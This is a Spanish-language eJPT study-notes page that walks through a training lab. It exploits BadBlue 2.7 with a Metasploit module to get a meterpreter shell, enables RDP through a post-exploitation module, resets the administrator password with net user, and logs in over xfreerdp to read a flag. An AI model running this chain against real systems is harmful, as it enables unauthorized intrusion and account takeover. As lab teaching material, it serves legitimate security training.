> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/pruebas-de-penetracion-de-host-y-red/metasploit-framework-msf/post-explotacion/postexplotacion-en-windows/habilitacion-de-rdp.md).
# Habilitaci贸n de RDP
## 馃搵 驴Qu茅 es RDP?
**Remote Desktop Protocol (RDP)** es un protocolo propietario desarrollado por **Microsoft** que permite a los usuarios conectarse de forma remota a sistemas Windows a trav茅s de una interfaz gr谩fica. Esta funcionalidad es ampliamente utilizada por administradores de sistemas para gestionar equipos de manera remota, y tambi茅n puede ser aprovechada en escenarios de post-explotaci贸n para mantener acceso a sistemas comprometidos.
***
## 馃摋 Caracter铆sticas clave de RDP:
* Utiliza el **puerto TCP 3389** por defecto.
* Permite control total del sistema mediante una **interfaz gr谩fica completa**.
* Requiere **credenciales v谩lidas** (nombre de usuario y contrase帽a en texto claro) para iniciar sesi贸n.
***
## 馃И Laboratorio Pr谩ctico
**Paso 1:** Abra el enlace del laboratorio para acceder a la m谩quina Kali.
**Paso 2:** Verifique si la m谩quina de destino es accesible:
**Dominio:**
```
ping -c 4 demo.ine.local
```
El objetivo es alcanzable.
**Paso 3:** Ejecute un escaneo de Nmap contra el objetivo:
**Dominio:**
```
nmap demo.ine.local
```
**Nota:** El puerto predeterminado RDP no est谩 expuesto: 3389.
**Paso 4:** Hemos detectado que varios puertos est谩n abiertos. Ejecutaremos nmap de nuevo para determinar la versi贸n del puerto 80.
**Dominio:**
```
nmap -sV -p 80 demo.ine.local
```
**BadBlue 2.7** se est谩 ejecutando en el objetivo.
**Paso 5:** Buscaremos el m贸dulo de explotaci贸n de badblue 2.7 usando searchsploit.
**Dominio:**
```
searchsploit badblue 2.7
```
**Paso 6:** Existe un m贸dulo de metasploit para el servidor BadBlue. Usaremos el m贸dulo de metasploit PassThru para desbordamiento de b煤fer remoto y explotaremos el objetivo.
**Comandos:**
```
msfconsole -q
use exploit/windows/http/badblue_passthru
set RHOSTS demo.ine.local
exploit
```
Hemos explotado con 茅xito la aplicaci贸n vulnerable objetivo (badblue) y recibimos un shell meterpreter.
Antecedentes de la sesi贸n.
**Paso 7:** Habilitaci贸n del servicio RDP mediante el m贸dulo de explotaci贸n posterior de Windows.
**Comandos:**
```
use post/windows/manage/enable_rdp
set SESSION 1
exploit
```
El exploit posterior funcion贸 correctamente. Estoy ejecutando nmap nuevamente para comprobar si el puerto RDP est谩 expuesto.
**Dominio:**
```
nmap demo.ine.local
```
El puerto RDP 3389 est谩 expuesto.
**Paso 8:** Interact煤e con el shell de meterpreter y cambie la contrase帽a de administrador.
**Comandos:**
```
sessions -i 1
shell
net user administrator hacker_123321
```
**Paso 9:** Con茅ctese al servicio RDP utilizando la utilidad xfreerdp y la cuenta de administrador.
**Dominio:**
```
xfreerdp /u:administrator /p:hacker_123321 /v:demo.ine.local
Y
```
**Paso 10:** Leer el archivo flag.txt que est谩 presente en el escritorio del usuario Administrador.
Esto nos revela la bandera.
**Bandera:** 763e1c86da26c66e86a8537fd343280d
#### Conclusi贸n
En este laboratorio, explotamos una aplicaci贸n vulnerable para obtener acceso al shell en el objetivo y luego usamos un m贸dulo metasploit posterior a la explotaci贸n para habilitar RDP en el objetivo e iniciar una sesi贸n RDP.
Referencias
* [BadBlue 2.72b Multiple Vulnerabilities](https://www.exploit-db.com/exploits/4715)
* [Metasploit Module](https://www.rapid7.com/db/modules/exploit/windows/http/badblue_passthru)
* [Post Exploitation Module](https://www.rapid7.com/db/modules/post/windows/manage/enable_rdp)